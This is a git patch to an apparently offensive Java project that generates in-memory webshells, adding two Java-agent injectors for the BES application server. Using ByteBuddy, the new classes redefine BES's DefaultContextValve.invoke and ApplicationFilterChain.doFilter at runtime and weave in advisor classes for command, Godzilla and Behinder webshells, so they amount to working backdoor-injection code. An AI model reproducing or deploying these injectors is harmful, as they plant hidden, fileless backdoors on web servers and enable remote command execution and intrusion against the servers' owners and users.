From e6fb68b0e784148b1a7e84bdd6f9ac5b6b7f85c2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 10 Jan 2025 01:07:34 +0800 Subject: [PATCH] feat: suport bes agent shell --- .../reajason/javaweb/memshell/BesShell.java | 19 ++++-- .../BesContextValveAgentInjector.java | 64 +++++++++++++++++++ .../injector/BesFilterChainAgentInjector.java | 64 +++++++++++++++++++ 3 files changed, 141 insertions(+), 6 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesContextValveAgentInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterChainAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java index 7e73271f..4cdce939 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java @@ -3,12 +3,13 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; import com.reajason.javaweb.memshell.bes.command.CommandValve; import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; -import com.reajason.javaweb.memshell.bes.injector.BesFilterInjector; -import com.reajason.javaweb.memshell.bes.injector.BesListenerInjector; -import com.reajason.javaweb.memshell.bes.injector.BesValveInjector; +import com.reajason.javaweb.memshell.bes.injector.*; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -29,7 +30,9 @@ public class BesShell extends AbstractShell { return Map.of( FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class), LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class), - VALVE, Pair.of(CommandValve.class, BesValveInjector.class) + VALVE, Pair.of(CommandValve.class, BesValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class) ); } @@ -38,7 +41,9 @@ public class BesShell extends AbstractShell { return Map.of( FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class), - VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class) + VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class) ); } @@ -47,7 +52,9 @@ public class BesShell extends AbstractShell { return Map.of( FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class), LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class), - VALVE, Pair.of(BehinderValve.class, BesValveInjector.class) + VALVE, Pair.of(BehinderValve.class, BesValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class), + AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class) ); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesContextValveAgentInjector.java new file mode 100644 index 00000000..8079c591 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesContextValveAgentInjector.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell.bes.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class BesContextValveAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class)))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.bes.enterprise.webtier.core.DefaultContextValve")) + .transform(new BesContextValveAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterChainAgentInjector.java new file mode 100644 index 00000000..3bed0844 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterChainAgentInjector.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell.bes.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class BesFilterChainAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain")) + .transform(new BesFilterChainAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); + } +} \ No newline at end of file